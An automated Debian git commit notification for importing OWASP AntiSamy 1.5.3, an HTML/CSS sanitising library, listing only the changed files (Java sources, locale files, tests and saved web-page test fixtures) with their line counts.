[libowasp-antisamy-java] 01/02: Imported Upstream version 1.5.3
Matthew Vernon
matthew at moszumanska.debian.org
Thu Mar 20 18:49:38 UTC 2014
This is an automated email from the git hooks/post-receive script.
matthew pushed a commit to branch master
in repository libowasp-antisamy-java.
commit 48aa8becf80879b6f882cd9f911eff3abcf2e034
Author: Matthew Vernon <mcv21 at cam.ac.uk>
Date: Thu Mar 20 18:01:14 2014 +0000
Imported Upstream version 1.5.3
---
pom.xml | 55 +
.../java/org/owasp/validator/css/CssHandler.java | 522 ++
.../java/org/owasp/validator/css/CssScanner.java | 284 +
.../java/org/owasp/validator/css/CssValidator.java | 409 ++
.../owasp/validator/css/ExternalCssScanner.java | 175 +
.../validator/css/UnknownSelectorException.java | 52 +
.../java/org/owasp/validator/html/AntiSamy.java | 126 +
.../org/owasp/validator/html/CleanResults.java | 124 +
.../org/owasp/validator/html/InternalPolicy.java | 152 +
src/main/java/org/owasp/validator/html/Policy.java | 836 +++
.../org/owasp/validator/html/PolicyException.java | 51 +
.../org/owasp/validator/html/ScanException.java | 52 +
.../java/org/owasp/validator/html/TagMatcher.java | 59 +
.../validator/html/model/AntiSamyPattern.java | 62 +
.../org/owasp/validator/html/model/Attribute.java | 148 +
.../org/owasp/validator/html/model/Property.java | 89 +
.../java/org/owasp/validator/html/model/Tag.java | 154 +
.../validator/html/scan/ASHTMLSerializer.java | 71 +
.../validator/html/scan/ASXHTMLSerializer.java | 83 +
.../html/scan/AbstractAntiSamyScanner.java | 111 +
.../validator/html/scan/AntiSamyDOMScanner.java | 852 +++
.../validator/html/scan/AntiSamySAXScanner.java | 172 +
.../org/owasp/validator/html/scan/Constants.java | 77 +
.../owasp/validator/html/scan/MagicSAXFilter.java | 403 ++
.../validator/html/util/ErrorMessageUtil.java | 83 +
.../validator/html/util/HTMLEntityEncoder.java | 65 +
.../org/owasp/validator/html/util/URIUtils.java | 227 +
.../org/owasp/validator/html/util/XMLUtil.java | 207 +
src/main/resources/AntiSamy_de_DE.properties | 41 +
src/main/resources/AntiSamy_en_AU.properties | 42 +
src/main/resources/AntiSamy_en_CA.properties | 42 +
src/main/resources/AntiSamy_en_GB.properties | 42 +
src/main/resources/AntiSamy_en_US.properties | 42 +
src/main/resources/AntiSamy_es_MX.properties | 42 +
src/main/resources/AntiSamy_it_IT.properties | 38 +
src/main/resources/AntiSamy_no_NB.properties | 37 +
src/main/resources/AntiSamy_pt_BR.properties | 42 +
src/main/resources/AntiSamy_pt_PT.properties | 42 +
src/main/resources/AntiSamy_ru_RU.properties | 37 +
src/main/resources/AntiSamy_zh_CN.properties | 42 +
src/main/resources/antisamy.xsd | 152 +
.../org/owasp/validator/html/TagMatcherTest.java | 46 +
.../org/owasp/validator/html/model/TagTest.java | 38 +
.../html/test/AntiSamyPerformanceTest.java | 123 +
.../owasp/validator/html/test/AntiSamyTest.java | 1260 +++++
.../org/owasp/validator/html/test/LiteralTest.java | 102 +
.../org/owasp/validator/html/test/PolicyTest.java | 89 +
.../org/owasp/validator/html/test/TestPolicy.java | 101 +
.../resources/s/Filer_for_fark/3newsnewzealand.jpg | Bin 0 -> 4737 bytes
src/test/resources/s/Filer_for_fark/939litefm.png | Bin 0 -> 3334 bytes
.../resources/s/Filer_for_fark/FXN_77x27_1.gif | Bin 0 -> 2187 bytes
.../s/Filer_for_fark/Freeloader-Fork_10009-m.jpg | Bin 0 -> 12719 bytes
src/test/resources/s/Filer_for_fark/G4_logo.jpg | Bin 0 -> 1365 bytes
...eri-and-Sil-Doctor-Who-Action-Figure_7932-m.jpg | Bin 0 -> 14753 bytes
.../s/Filer_for_fark/Samurai-Umbrella_2648-m.jpg | Bin 0 -> 6260 bytes
.../Filer_for_fark/Vitruvian-Squirrel_16426-m.jpg | Bin 0 -> 10943 bytes
src/test/resources/s/Filer_for_fark/adall.png | Bin 0 -> 127 bytes
src/test/resources/s/Filer_for_fark/adallnossl.png | Bin 0 -> 127 bytes
src/test/resources/s/Filer_for_fark/adallpage.png | Bin 0 -> 127 bytes
src/test/resources/s/Filer_for_fark/all.js | 153 +
src/test/resources/s/Filer_for_fark/all_002.js | 153 +
src/test/resources/s/Filer_for_fark/azfamily.jpg | Bin 0 -> 15070 bytes
src/test/resources/s/Filer_for_fark/bbcnews.gif | Bin 0 -> 919 bytes
src/test/resources/s/Filer_for_fark/beacon.js | 7 +
src/test/resources/s/Filer_for_fark/bloomberg.gif | Bin 0 -> 1012 bytes
src/test/resources/s/Filer_for_fark/buzzfeed.gif | Bin 0 -> 724 bytes
src/test/resources/s/Filer_for_fark/cbc.png | Bin 0 -> 1470 bytes
.../resources/s/Filer_for_fark/cbgapi.loaded_0 | 208 +
.../resources/s/Filer_for_fark/chicagotrib.jpg | Bin 0 -> 3787 bytes
src/test/resources/s/Filer_for_fark/citypages.jpg | Bin 0 -> 4876 bytes
src/test/resources/s/Filer_for_fark/ckeditor.js | 582 ++
src/test/resources/s/Filer_for_fark/cnbc.gif | Bin 0 -> 2069 bytes
src/test/resources/s/Filer_for_fark/cnnb.gif | Bin 0 -> 1052 bytes
src/test/resources/s/Filer_for_fark/dailymail.png | Bin 0 -> 2041 bytes
src/test/resources/s/Filer_for_fark/examiner.jpg | Bin 0 -> 2281 bytes
src/test/resources/s/Filer_for_fark/fark.js | 63 +
.../resources/s/Filer_for_fark/farktography.gif | Bin 0 -> 1359 bytes
.../s/Filer_for_fark/farktography_002.gif | Bin 0 -> 2396 bytes
src/test/resources/s/Filer_for_fark/fastbutton.htm | 22 +
src/test/resources/s/Filer_for_fark/fbphotos.jpg | Bin 0 -> 3236 bytes
src/test/resources/s/Filer_for_fark/flickrb.png | Bin 0 -> 547 bytes
src/test/resources/s/Filer_for_fark/ga.js | 59 +
.../resources/s/Filer_for_fark/google_ads_gpt.js | 101 +
src/test/resources/s/Filer_for_fark/gpt.js | 68 +
.../resources/s/Filer_for_fark/hawaiinewsnow.jpg | Bin 0 -> 3254 bytes
.../resources/s/Filer_for_fark/huffingtonpost.png | Bin 0 -> 2900 bytes
src/test/resources/s/Filer_for_fark/io9.jpg | Bin 0 -> 1009 bytes
.../resources/s/Filer_for_fark/jquery-farktools.js | 2 +
src/test/resources/s/Filer_for_fark/kansas.gif | Bin 0 -> 1499 bytes
.../resources/s/Filer_for_fark/kmovstlouis.jpg | Bin 0 -> 1941 bytes
src/test/resources/s/Filer_for_fark/kotaku.gif | Bin 0 -> 2694 bytes
src/test/resources/s/Filer_for_fark/ktrk.jpg | Bin 0 -> 4986 bytes
src/test/resources/s/Filer_for_fark/ktvb.jpg | Bin 0 -> 4538 bytes
src/test/resources/s/Filer_for_fark/lifecom.jpg | Bin 0 -> 16275 bytes
src/test/resources/s/Filer_for_fark/lifelogo.png | Bin 0 -> 7544 bytes
src/test/resources/s/Filer_for_fark/like.htm | 96 +
.../resources/s/Filer_for_fark/livescience.gif | Bin 0 -> 937 bytes
src/test/resources/s/Filer_for_fark/ll.gif | Bin 0 -> 61 bytes
src/test/resources/s/Filer_for_fark/mcall.jpg | Bin 0 -> 2762 bytes
.../s/Filer_for_fark/minfarkstyle_new_15553.css | 1 +
src/test/resources/s/Filer_for_fark/mlivecom.gif | Bin 0 -> 1904 bytes
.../s/Filer_for_fark/mothernaturenetwork.jpg | Bin 0 -> 2565 bytes
src/test/resources/s/Filer_for_fark/msn.gif | Bin 0 -> 1726 bytes
src/test/resources/s/Filer_for_fark/nbcnews.jpg | Bin 0 -> 2493 bytes
.../s/Filer_for_fark/newyorkdailynews.gif | Bin 0 -> 2223 bytes
src/test/resources/s/Filer_for_fark/npr.png | Bin 0 -> 381 bytes
.../resources/s/Filer_for_fark/nycaviation.jpg | Bin 0 -> 4692 bytes
src/test/resources/s/Filer_for_fark/nytimes.gif | Bin 0 -> 1367 bytes
src/test/resources/s/Filer_for_fark/oauth.htm | 7 +
.../resources/s/Filer_for_fark/opposingviews.jpg | Bin 0 -> 3718 bytes
.../resources/s/Filer_for_fark/orlandosentinel.jpg | Bin 0 -> 1329 bytes
src/test/resources/s/Filer_for_fark/osd.js | 28 +
src/test/resources/s/Filer_for_fark/plusone.js | 27 +
src/test/resources/s/Filer_for_fark/quant.js | 33 +
.../s/Filer_for_fark/ramblingbeachcatcom1.jpg | Bin 0 -> 3609 bytes
src/test/resources/s/Filer_for_fark/reuters.gif | Bin 0 -> 666 bytes
.../resources/s/Filer_for_fark/scribollogowide.jpg | Bin 0 -> 2727 bytes
src/test/resources/s/Filer_for_fark/sfgate.png | Bin 0 -> 1289 bytes
.../resources/s/Filer_for_fark/shareFacebook.gif | Bin 0 -> 508 bytes
.../resources/s/Filer_for_fark/shareTwitter.png | Bin 0 -> 614 bytes
.../s/Filer_for_fark/smithsonianmagazine.jpg | Bin 0 -> 4470 bytes
src/test/resources/s/Filer_for_fark/starpulse.gif | Bin 0 -> 1847 bytes
.../resources/s/Filer_for_fark/sunnewsnetwork.jpg | Bin 0 -> 3046 bytes
.../resources/s/Filer_for_fark/sunsentinel.gif | Bin 0 -> 716 bytes
.../resources/s/Filer_for_fark/theatlantic.png | Bin 0 -> 2891 bytes
src/test/resources/s/Filer_for_fark/theonion.gif | Bin 0 -> 723 bytes
.../resources/s/Filer_for_fark/therawstory.jpg | Bin 0 -> 2124 bytes
.../resources/s/Filer_for_fark/thesmokinggun.gif | Bin 0 -> 1679 bytes
.../s/Filer_for_fark/thisislincolnshire.jpg | Bin 0 -> 2710 bytes
.../resources/s/Filer_for_fark/timesofisrael.jpg | Bin 0 -> 1838 bytes
src/test/resources/s/Filer_for_fark/today.png | Bin 0 -> 4721 bytes
.../resources/s/Filer_for_fark/torontostar.png | Bin 0 -> 1681 bytes
src/test/resources/s/Filer_for_fark/usatoday.png | Bin 0 -> 1063 bytes
src/test/resources/s/Filer_for_fark/usnews1.jpg | Bin 0 -> 4300 bytes
.../resources/s/Filer_for_fark/wbtv3charlotte.jpg | Bin 0 -> 2383 bytes
src/test/resources/s/Filer_for_fark/wtkr.jpg | Bin 0 -> 4704 bytes
.../s/Filer_for_fark/x103indianapolis.jpg | Bin 0 -> 3931 bytes
src/test/resources/s/Filer_for_fark/xd_arbiter.htm | 33 +
.../resources/s/Filer_for_fark/xd_arbiter_002.htm | 33 +
src/test/resources/s/Filer_for_fark/yahoo.gif | Bin 0 -> 1006 bytes
.../resources/s/Filer_for_fark/yorkpressuk.jpg | Bin 0 -> 2188 bytes
.../DynGA_1015_420x210_EN_US.jpg | Bin 0 -> 35804 bytes
.../Filer_for_microsoft/IE_1026_420x210_EN_US.jpg | Bin 0 -> 24620 bytes
.../PrCld_0114_1600x540_EN_US.jpg | Bin 0 -> 185294 bytes
.../resources/s/Filer_for_microsoft/Segments.js | 1 +
.../Store_1127_420x210_EN_US.jpg | Bin 0 -> 28735 bytes
.../Surface_BG_0114_1600x540_EN_US.jpg | Bin 0 -> 64265 bytes
.../Filer_for_microsoft/Surface_RetLogo_500x60.png | Bin 0 -> 5251 bytes
.../SystemCenter_NoDate_RetnaLogo_500x60.png | Bin 0 -> 9427 bytes
.../WPBrand_BG_1112_1600x540_EN_US.jpg | Bin 0 -> 117468 bytes
.../WP_RetLogo_1112_500x60_EN_US.png | Bin 0 -> 9462 bytes
...uxmRkPCE8nDekpsniX0oA2AaEi7w7w3Sf7JGR1cp6SV.htm | 24 +
.../Win8Eval_1001_420x210_EN_US.jpg | Bin 0 -> 34987 bytes
.../Win8OfferApps_BG_1217_1600x540_EN_US.jpg | Bin 0 -> 159285 bytes
.../Win8_RetLogo__1127_500x60_EN_US.png | Bin 0 -> 7973 bytes
.../WinIntune_1217_420x210_EN_US.jpg | Bin 0 -> 28778 bytes
.../XboxOffer_1210_420x210_EN_US.jpg | Bin 0 -> 9475 bytes
.../resources/s/Filer_for_microsoft/bimapping.js | 1 +
.../Filer_for_microsoft/bing_symbol_clr_52x52.png | Bin 0 -> 1818 bytes
.../s/Filer_for_microsoft/broker-config_s1.js | 124 +
src/test/resources/s/Filer_for_microsoft/broker.js | 1224 +++++
src/test/resources/s/Filer_for_microsoft/c_002.gif | Bin 0 -> 42 bytes
src/test/resources/s/Filer_for_microsoft/css.css | 1 +
.../s/Filer_for_microsoft/fallpromo_bug_black.png | Bin 0 -> 557 bytes
.../resources/s/Filer_for_microsoft/jquery-1.js | 4 +
src/test/resources/s/Filer_for_microsoft/js.ashx | 1 +
.../resources/s/Filer_for_microsoft/logo-lg-1x.png | Bin 0 -> 1673 bytes
.../s/Filer_for_microsoft/logo-type-1x.png | Bin 0 -> 1432 bytes
.../s/Filer_for_microsoft/logo_Microsoft_hl.jpg | Bin 0 -> 3759 bytes
.../resources/s/Filer_for_microsoft/modernizr.js | 4 +
.../office_symbol_clr_52x52.png | Bin 0 -> 1221 bytes
.../s/Filer_for_microsoft/prod_SurfacePro2_hl.jpg | Bin 0 -> 12867 bytes
.../s/Filer_for_microsoft/prod_bingSidebar_hl.jpg | Bin 0 -> 9443 bytes
.../resources/s/Filer_for_microsoft/script.jsx | 1 +
.../resources/s/Filer_for_microsoft/script_002.jsx | 1 +
.../resources/s/Filer_for_microsoft/script_003.jsx | 1 +
.../s/Filer_for_microsoft/search-button-blue.png | Bin 0 -> 764 bytes
.../Filer_for_microsoft/skype_symbol_clr_52x52.png | Bin 0 -> 1594 bytes
.../Filer_for_microsoft/store_symbol_clr_52x52.png | Bin 0 -> 289 bytes
src/test/resources/s/Filer_for_microsoft/style.css | 1 +
.../windows_symbol_clr_52x52.png | Bin 0 -> 476 bytes
.../windowsphone_symbol_clr_52x52.png | Bin 0 -> 748 bytes
.../resources/s/Filer_for_microsoft/wt_capi.js | 22 +
src/test/resources/s/Filer_for_microsoft/wt_lib.js | 7 +
.../Filer_for_microsoft/xbox_symbol_clr_52x52.png | Bin 0 -> 1631 bytes
src/test/resources/s/cf/07.png | Bin 0 -> 1023 bytes
src/test/resources/s/cf/1.gif | Bin 0 -> 43 bytes
.../120202030055-mysteries-of-love-video-tease.jpg | Bin 0 -> 6273 bytes
...27015552-egypt-morsy-protester-wall-4-tease.jpg | Bin 0 -> 7262 bytes
src/test/resources/s/cf/128727546.js | 102 +
.../s/cf/130111142539-mali-rebels-video-tease.jpg | Bin 0 -> 6029 bytes
...1-lance-armstrong-tour-de-france-left-tease.jpg | Bin 0 -> 10900 bytes
.../s/cf/130121194827-harry-2-left-tease.jpg | Bin 0 -> 11574 bytes
...erios-davos-reflections-00001605-left-tease.jpg | Bin 0 -> 8784 bytes
.../130122025846-unemployment-spain-left-tease.jpg | Bin 0 -> 16316 bytes
...ndo-food-fake-worrries-00003220-video-tease.jpg | Bin 0 -> 6298 bytes
...utside-leaves-hospital-00003615-video-tease.jpg | Bin 0 -> 5071 bytes
...130123215410-cambodia-countryside-bin-tease.jpg | Bin 0 -> 10472 bytes
...taly-colorful-colosseum-00000225-left-tease.jpg | Bin 0 -> 13733 bytes
...g-soares-davos-top-tech-00013829-left-tease.jpg | Bin 0 -> 11062 bytes
.../s/cf/130124063356-kim-jong-un-c1-main.jpg | Bin 0 -> 66260 bytes
.../s/cf/130124065152-01-aus-0124-video-tease.jpg | Bin 0 -> 3904 bytes
...a-baby-thrown-from-car-00002504-video-tease.jpg | Bin 0 -> 5668 bytes
...avid-cameron-getty-uk-cnni-tvbox-left-tease.jpg | Bin 0 -> 8586 bytes
.../s/cf/130124135403-feinstein-guns-t1-main.jpg | Bin 0 -> 20763 bytes
.../130124141447-kimberly-brantic-video-tease.jpg | Bin 0 -> 6941 bytes
.../cf/130124154655-syria-refugees-video-tease.jpg | Bin 0 -> 4591 bytes
...e-davos-boris-johnson-00032715-wall-4-tease.jpg | Bin 0 -> 7702 bytes
...n-india-gandhi-dynasty-00003305-video-tease.jpg | Bin 0 -> 4996 bytes
...30124194238-unreasonable-at-sea-video-tease.jpg | Bin 0 -> 5387 bytes
...12-hong-kong-harbour-silohuette-video-tease.jpg | Bin 0 -> 4209 bytes
.../130125094508-hanoi-old-quarter-video-tease.jpg | Bin 0 -> 7192 bytes
src/test/resources/s/cf/1px(1).gif | Bin 0 -> 43 bytes
src/test/resources/s/cf/1px.gif | Bin 0 -> 43 bytes
src/test/resources/s/cf/3512Nikon175x31_gray.gif | Bin 0 -> 3267 bytes
.../431711Dassault-banniere-Davos-2013-300x250.gif | Bin 0 -> 42561 bytes
.../s/cf/534011cnn_com_hyperchrome_clay_120x90.jpg | Bin 0 -> 5235 bytes
src/test/resources/s/cf/CKg2om0CN5k.js | 14 +
src/test/resources/s/cf/Cmazr8ysNP0.js | 6 +
src/test/resources/s/cf/E-6Q2pI-TPI.js | 160 +
src/test/resources/s/cf/activity.htm | 23 +
src/test/resources/s/cf/advertisement(1).gif | Bin 0 -> 94 bytes
src/test/resources/s/cf/advertisement.gif | Bin 0 -> 94 bytes
src/test/resources/s/cf/ais.js | 33 +
src/test/resources/s/cf/all.js | 153 +
src/test/resources/s/cf/arrow_black.png | Bin 0 -> 679 bytes
src/test/resources/s/cf/banner.htm | 16 +
src/test/resources/s/cf/btn_search_hp_text.gif | Bin 0 -> 858 bytes
src/test/resources/s/cf/chartbeat.js | 11 +
src/test/resources/s/cf/csi_include(1).js | 98 +
src/test/resources/s/cf/csi_include.js | 98 +
src/test/resources/s/cf/eSRVo56oY0y.js | 85 +
src/test/resources/s/cf/editionvars.htm | 314 ++
src/test/resources/s/cf/exists.json | 1 +
src/test/resources/s/cf/f.gif | Bin 0 -> 43 bytes
src/test/resources/s/cf/flashwrite_1_2.js | 30 +
.../resources/s/cf/follow_button.1359077775.htm | 3 +
src/test/resources/s/cf/footer_cnn_logo.png | Bin 0 -> 475 bytes
src/test/resources/s/cf/footer_google.png | Bin 0 -> 1427 bytes
src/test/resources/s/cf/getForecast(1).htm | 8 +
src/test/resources/s/cf/getForecast.htm | 8 +
src/test/resources/s/cf/globallib.intl-min.js | 2 +
src/test/resources/s/cf/hdr-globe-central.gif | Bin 0 -> 4547 bytes
src/test/resources/s/cf/intlhplib-min.css | 22 +
src/test/resources/s/cf/intlhplib-min.js | 88 +
src/test/resources/s/cf/jot | Bin 0 -> 43 bytes
src/test/resources/s/cf/jsmd-347.min.js | 446 ++
src/test/resources/s/cf/like.htm | 99 +
src/test/resources/s/cf/loading(1).gif | Bin 0 -> 3802 bytes
src/test/resources/s/cf/loading.gif | Bin 0 -> 3802 bytes
src/test/resources/s/cf/logo_ad_choices_footer.png | Bin 0 -> 585 bytes
src/test/resources/s/cf/qhgKCsbyG91.js | 123 +
src/test/resources/s/cf/safe_image.php | Bin 0 -> 8672 bytes
src/test/resources/s/cf/search_btn_footer.gif | Bin 0 -> 889 bytes
src/test/resources/s/cf/video_icon.gif | Bin 0 -> 138 bytes
src/test/resources/s/cf/widgets.js | 39 +
src/test/resources/s/cf/xd.sjs | 8 +
src/test/resources/s/cf/xd_arbiter(1).htm | 33 +
src/test/resources/s/cf/xd_arbiter.htm | 33 +
src/test/resources/s/cf/ykTYXgXFmtV.js | 61 +
src/test/resources/s/cnn.com | 1114 ++++
src/test/resources/s/deadspin.com | 3310 ++++++++++++
.../s/deadspin_files/33330X911648.skimlinks.js | 41 +
...ntender;origin=deadspin;sz=640x360;ord=70631643 | 1 +
.../;loggedin=no;sz=80x45;ord=70631643 | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(1) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(10) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(11) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(2) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(3) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(4) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(5) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(6) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(7) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(8) | 1 +
.../;loggedin=no;sz=80x45;ord=70631643(9) | 1 +
...nt=intender;origin=deadspin;sz=2x1;ord=70631643 | 1 +
...ntender;origin=deadspin;sz=300x250;ord=70631643 | 1 +
...nt=intender;origin=deadspin;sz=1x1;ord=70631643 | 1 +
src/test/resources/s/deadspin_files/a62ec163c8 | 1 +
.../resources/s/deadspin_files/ad_iframe(1).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(10).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(11).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(12).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(13).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(14).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(15).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(2).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(3).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(4).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(5).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(6).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(7).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(8).htm | 11 +
.../resources/s/deadspin_files/ad_iframe(9).htm | 11 +
src/test/resources/s/deadspin_files/ad_iframe.htm | 11 +
src/test/resources/s/deadspin_files/ad_iframe.js | 21 +
src/test/resources/s/deadspin_files/all.js | 153 +
.../s/deadspin_files/apple-touch-icon.png | Bin 0 -> 6863 bytes
.../s/deadspin_files/base.v10.static.20130118.css | 23 +
.../base.v10.static.framework.20130118.js | 6 +
.../base.v10.static.jquery.20130118.js | 42 +
.../base.v10.static.jqueryplugin.20130118.js | 45 +
.../base.v10.static.misc.20130118.js | 29 +
.../base.v10.static.widget.20130118.js | 56 +
src/test/resources/s/deadspin_files/beacon.js | 7 +
.../resources/s/deadspin_files/bootstrap-ganja.js | 788 +++
.../resources/s/deadspin_files/cb=gapi.loaded_0 | 208 +
src/test/resources/s/deadspin_files/chartbeat.js | 11 +
src/test/resources/s/deadspin_files/deadspin.com | 1 +
src/test/resources/s/deadspin_files/deadspin.png | Bin 0 -> 8359 bytes
src/test/resources/s/deadspin_files/fastbutton.htm | 22 +
src/test/resources/s/deadspin_files/ga.js | 59 +
src/test/resources/s/deadspin_files/gawker.png | Bin 0 -> 7405 bytes
src/test/resources/s/deadspin_files/gizmodo.png | Bin 0 -> 5712 bytes
src/test/resources/s/deadspin_files/gomez.js | 1 +
.../resources/s/deadspin_files/icon-gallery.png | Bin 0 -> 540 bytes
.../resources/s/deadspin_files/icon-question.png | Bin 0 -> 1162 bytes
src/test/resources/s/deadspin_files/icon-video.png | Bin 0 -> 672 bytes
src/test/resources/s/deadspin_files/io9.png | Bin 0 -> 5025 bytes
src/test/resources/s/deadspin_files/jalopnik.png | Bin 0 -> 6181 bytes
src/test/resources/s/deadspin_files/jezebel.png | Bin 0 -> 5255 bytes
src/test/resources/s/deadspin_files/kotaku.png | Bin 0 -> 5934 bytes
src/test/resources/s/deadspin_files/lifehacker.png | Bin 0 -> 5747 bytes
src/test/resources/s/deadspin_files/medium.jpg | Bin 0 -> 25559 bytes
.../resources/s/deadspin_files/medium_169(1).jpg | Bin 0 -> 28439 bytes
src/test/resources/s/deadspin_files/medium_169.jpg | Bin 0 -> 34398 bytes
src/test/resources/s/deadspin_files/micro(1).jpg | Bin 0 -> 16821 bytes
src/test/resources/s/deadspin_files/micro(10).jpg | Bin 0 -> 8077 bytes
src/test/resources/s/deadspin_files/micro(2).jpg | Bin 0 -> 8739 bytes
src/test/resources/s/deadspin_files/micro(3).jpg | Bin 0 -> 9483 bytes
src/test/resources/s/deadspin_files/micro(4).jpg | Bin 0 -> 8146 bytes
src/test/resources/s/deadspin_files/micro(5).jpg | Bin 0 -> 5730 bytes
src/test/resources/s/deadspin_files/micro(6).jpg | Bin 0 -> 12377 bytes
src/test/resources/s/deadspin_files/micro(7).jpg | Bin 0 -> 12318 bytes
src/test/resources/s/deadspin_files/micro(8).jpg | Bin 0 -> 14237 bytes
src/test/resources/s/deadspin_files/micro(9).jpg | Bin 0 -> 10351 bytes
src/test/resources/s/deadspin_files/micro.jpg | Bin 0 -> 9359 bytes
.../resources/s/deadspin_files/oauth-facebook.png | Bin 0 -> 1765 bytes
.../resources/s/deadspin_files/oauth-twitter.png | Bin 0 -> 2337 bytes
src/test/resources/s/deadspin_files/p.js | 4 +
src/test/resources/s/deadspin_files/plusone.js | 27 +
.../s/deadspin_files/progressIndicator_roller.gif | Bin 0 -> 1877 bytes
.../progressIndicator_roller_f0f0f0.gif | Bin 0 -> 1849 bytes
src/test/resources/s/deadspin_files/ptrack_v18.js | 20 +
src/test/resources/s/deadspin_files/quant.js | 33 +
.../s/deadspin_files/rightbar.comment.png | Bin 0 -> 396 bytes
.../resources/s/deadspin_files/rightbar.flame.png | Bin 0 -> 332 bytes
src/test/resources/s/deadspin_files/rta.js | 5 +
src/test/resources/s/deadspin_files/rum.js | 18 +
src/test/resources/s/deadspin_files/saved_resource | 1 +
src/test/resources/s/deadspin_files/scripts.js | 401 ++
src/test/resources/s/deadspin_files/static.css | 90 +
src/test/resources/s/deadspin_files/track.php | 1 +
src/test/resources/s/deadspin_files/userstate | 1 +
.../resources/s/deadspin_files/xd_arbiter(1).htm | 33 +
src/test/resources/s/deadspin_files/xd_arbiter.htm | 33 +
src/test/resources/s/deadspin_files/xlarge.jpg | Bin 0 -> 95427 bytes
src/test/resources/s/deadspin_files/xsmall(1).jpg | Bin 0 -> 2194 bytes
src/test/resources/s/deadspin_files/xsmall(10).jpg | Bin 0 -> 5010 bytes
src/test/resources/s/deadspin_files/xsmall(11).jpg | Bin 0 -> 10746 bytes
src/test/resources/s/deadspin_files/xsmall(12).jpg | Bin 0 -> 9260 bytes
src/test/resources/s/deadspin_files/xsmall(13).jpg | Bin 0 -> 3129 bytes
src/test/resources/s/deadspin_files/xsmall(14).jpg | Bin 0 -> 6175 bytes
src/test/resources/s/deadspin_files/xsmall(15).jpg | Bin 0 -> 4505 bytes
src/test/resources/s/deadspin_files/xsmall(16).jpg | Bin 0 -> 9775 bytes
src/test/resources/s/deadspin_files/xsmall(17).jpg | Bin 0 -> 11183 bytes
src/test/resources/s/deadspin_files/xsmall(18).jpg | Bin 0 -> 11713 bytes
src/test/resources/s/deadspin_files/xsmall(19).jpg | Bin 0 -> 4014 bytes
src/test/resources/s/deadspin_files/xsmall(2).jpg | Bin 0 -> 10873 bytes
src/test/resources/s/deadspin_files/xsmall(20).jpg | Bin 0 -> 1890 bytes
src/test/resources/s/deadspin_files/xsmall(21).jpg | Bin 0 -> 3247 bytes
src/test/resources/s/deadspin_files/xsmall(22).jpg | Bin 0 -> 6233 bytes
src/test/resources/s/deadspin_files/xsmall(23).jpg | Bin 0 -> 3160 bytes
src/test/resources/s/deadspin_files/xsmall(24).jpg | Bin 0 -> 2835 bytes
src/test/resources/s/deadspin_files/xsmall(25).jpg | Bin 0 -> 3250 bytes
src/test/resources/s/deadspin_files/xsmall(26).jpg | Bin 0 -> 18113 bytes
src/test/resources/s/deadspin_files/xsmall(3).jpg | Bin 0 -> 7645 bytes
src/test/resources/s/deadspin_files/xsmall(4).jpg | Bin 0 -> 4645 bytes
src/test/resources/s/deadspin_files/xsmall(5).jpg | Bin 0 -> 3470 bytes
src/test/resources/s/deadspin_files/xsmall(6).jpg | Bin 0 -> 3981 bytes
src/test/resources/s/deadspin_files/xsmall(7).jpg | Bin 0 -> 10659 bytes
src/test/resources/s/deadspin_files/xsmall(8).jpg | Bin 0 -> 4578 bytes
src/test/resources/s/deadspin_files/xsmall(9).jpg | Bin 0 -> 4557 bytes
src/test/resources/s/deadspin_files/xsmall.jpg | Bin 0 -> 9722 bytes
src/test/resources/s/deadspin_files/xsmall.png | Bin 0 -> 11308 bytes
src/test/resources/s/deadspin_files/zvc4iwz.js | 75 +
src/test/resources/s/fark.com | 1405 +++++
src/test/resources/s/google.com.html | 83 +
.../s/google.com_files/7326c3a62f8db7be.js | 1 +
src/test/resources/s/google.com_files/blank.htm | 3 +
.../rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ | 1439 +++++
.../rs=AItRSTOMu1zCzaHy-NicNmSX0bO501zNrQ(1) | 225 +
.../sem_02745283c6d09baf2ddd04f5e47ece34.js | 80 +
src/test/resources/s/microsoft.com | 771 +++
src/test/resources/s/slashdot.org.htm | 3222 ++++++++++++
.../2675_SlashBIUpdate_HubIcon_v2.gif | Bin 0 -> 4289 bytes
.../resources/s/slashdot.org_files/273-2-thumb.png | Bin 0 -> 7834 bytes
.../resources/s/slashdot.org_files/817-grey.gif | Bin 0 -> 43 bytes
.../resources/s/slashdot.org_files/all-minified.js | 1388 +++++
.../resources/s/slashdot.org_files/android_64.png | Bin 0 -> 2048 bytes
.../resources/s/slashdot.org_files/business_64.png | Bin 0 -> 6221 bytes
.../s/slashdot.org_files/cellphones_64.png | Bin 0 -> 1919 bytes
.../resources/s/slashdot.org_files/classic.css | 5532 ++++++++++++++++++++
.../resources/s/slashdot.org_files/crime_64.png | Bin 0 -> 6082 bytes
.../s/slashdot.org_files/direct;vt.1;wi.300 | 126 +
src/test/resources/s/slashdot.org_files/engage.js | 217 +
.../resources/s/slashdot.org_files/facebook_64.png | Bin 0 -> 935 bytes
src/test/resources/s/slashdot.org_files/ga.js | 59 +
.../resources/s/slashdot.org_files/graphics_64.png | Bin 0 -> 5214 bytes
.../resources/s/slashdot.org_files/hardware_64.png | Bin 0 -> 3960 bytes
src/test/resources/s/slashdot.org_files/login | 186 +
...witch;pg=index2;logged_in=0;tile=3;sz=980x66;u= | 1 +
.../resources/s/slashdot.org_files/mars_64.png | Bin 0 -> 7246 bytes
.../s/slashdot.org_files/microsoft_64100.png | Bin 0 -> 4684 bytes
